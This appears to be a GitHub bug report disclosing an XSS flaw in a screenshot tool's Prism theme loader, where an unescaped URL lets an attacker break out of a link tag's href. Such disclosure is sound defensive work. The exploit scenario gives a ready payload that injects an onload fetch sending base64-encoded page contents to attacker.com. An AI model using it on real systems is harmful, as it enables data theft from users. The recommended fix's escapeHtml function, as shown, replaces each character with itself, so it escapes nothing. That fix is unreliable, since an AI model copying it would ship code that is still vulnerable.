-
-
Notifications
You must be signed in to change notification settings - Fork 87
Description
Detail Bug Report
Summary
- Context: The
theme.jsmodule loads CSS themes for Prism syntax highlighting when taking screenshots of JSON/code content. It accepts either a theme name or a URL. - Bug: User-controlled URLs in the
codeSchemeparameter are not HTML-escaped before being interpolated into a<link>tag'shrefattribute. - Actual vs. expected: The URL is directly concatenated into HTML without escaping, allowing injection of arbitrary HTML attributes and tags, whereas it should be HTML-escaped to prevent attribute breakout.
- Impact: An attacker can inject arbitrary JavaScript that executes in the browser context during screenshot generation, potentially stealing sensitive data from rendered pages or manipulating screenshot content.
Code with Bug
module.exports = async themeId => {
if (isHttpUrl(themeId)) return `<link rel="stylesheet" type="text/css" href="${themeId}">` // <-- BUG 🔴 themeId is not HTML-escaped; allows attribute/tag injection
const stylesheet =
CACHE[themeId] ||
(CACHE[themeId] = await readFile(path.resolve(THEME_PATH(), `prism-${themeId}.css`)))
return `<style>${stylesheet}</style>`
}Explanation
When themeId is an HTTP(S) URL, it is inserted directly into the href="..." attribute. If the URL contains a double-quote, it can break out of the attribute and inject additional attributes (e.g., onload=...) or new tags (e.g., <script>). This HTML is later rendered via page.setContent(), so injected JavaScript executes in the headless browser used for screenshot generation.
Exploit Scenario
An attacker supplies a malicious codeScheme URL such as:
'https://attacker.com/theme.css" onload="fetch(\'https://attacker.com/steal?data=\'+btoa(document.body.innerHTML))" x="'This produces a <link> tag with an injected onload handler, which runs during page rendering and can exfiltrate rendered page contents or alter the screenshot output.
Recommended Fix
HTML-escape the URL before inserting it into the href attribute (or construct the tag via a safe DOM API). Example:
const escapeHtml = str => str
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/</g, '<')
.replace(/>/g, '>');
module.exports = async themeId => {
if (isHttpUrl(themeId)) return `<link rel="stylesheet" type="text/css" href="${escapeHtml(themeId)}">`
const stylesheet =
CACHE[themeId] ||
(CACHE[themeId] = await readFile(path.resolve(THEME_PATH(), `prism-${themeId}.css`)))
return `<style>${stylesheet}</style>`
}History
This bug was introduced in commit 4061fff. The change added support for loading remote Prism themes from CDN URLs by accepting HTTP(S) URLs as theme identifiers, but the URL was directly interpolated into an HTML template string without escaping, creating an XSS vulnerability from the moment the feature was added.